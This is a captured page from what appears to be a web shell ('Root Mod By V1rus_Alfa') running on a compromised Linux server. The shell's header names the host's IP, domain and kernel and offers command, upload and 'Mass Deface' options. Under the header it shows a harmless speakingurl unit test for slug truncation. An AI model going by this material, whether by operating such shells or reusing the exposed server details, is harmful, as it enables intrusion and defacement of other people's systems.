���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
speakingurl
/
test
/
Viewing: test-truncate.js
/* global describe,it */ var getSlug = require('../lib/speakingurl'); describe('getSlug smart truncate', function () { 'use strict'; it('should maintain case characters, with smart truncate', function (done) { getSlug('Foobarbaz, Bar Baz', { truncate: 12 }) .should.eql('foobarbaz'); getSlug('Foobarbaz, Bar Baz', { truncate: 15 }) .should.eql('foobarbaz-bar'); getSlug(' Foobarbaz, Bar Baz', { truncate: 15 }) .should.eql('foobarbaz-bar'); getSlug(' Foobarbaz, Bar Baz', { truncate: 15 }) .should.eql('foobarbaz-bar'); getSlug('Foo Foo bar Zoo Bar Baz', { truncate: 15 }) .should.eql('foo-foo-bar-zoo'); getSlug('Foo Foo bar ZooBar Baz', { truncate: 15 }) .should.eql('foo-foo-bar'); getSlug('Foo Foo bar ZooBar Baz', { truncate: 15 }) .should.eql('foo-foo-bar'); getSlug('Foo Foo Bar Bar', { truncate: "foo" }) .should.eql('foo-foo-bar-bar'); getSlug('Foo Foo Bar Bar', { truncate: false }) .should.eql('foo-foo-bar-bar'); getSlug('Foo Foo Bar Bar', { truncate: true }) .should.eql('foo-foo-bar-bar'); getSlug('a Foo', { truncate: true }) .should.eql('a-foo'); done(); }); });
Coded With 💗 by
0x6ick Mod By V1rus_Alfa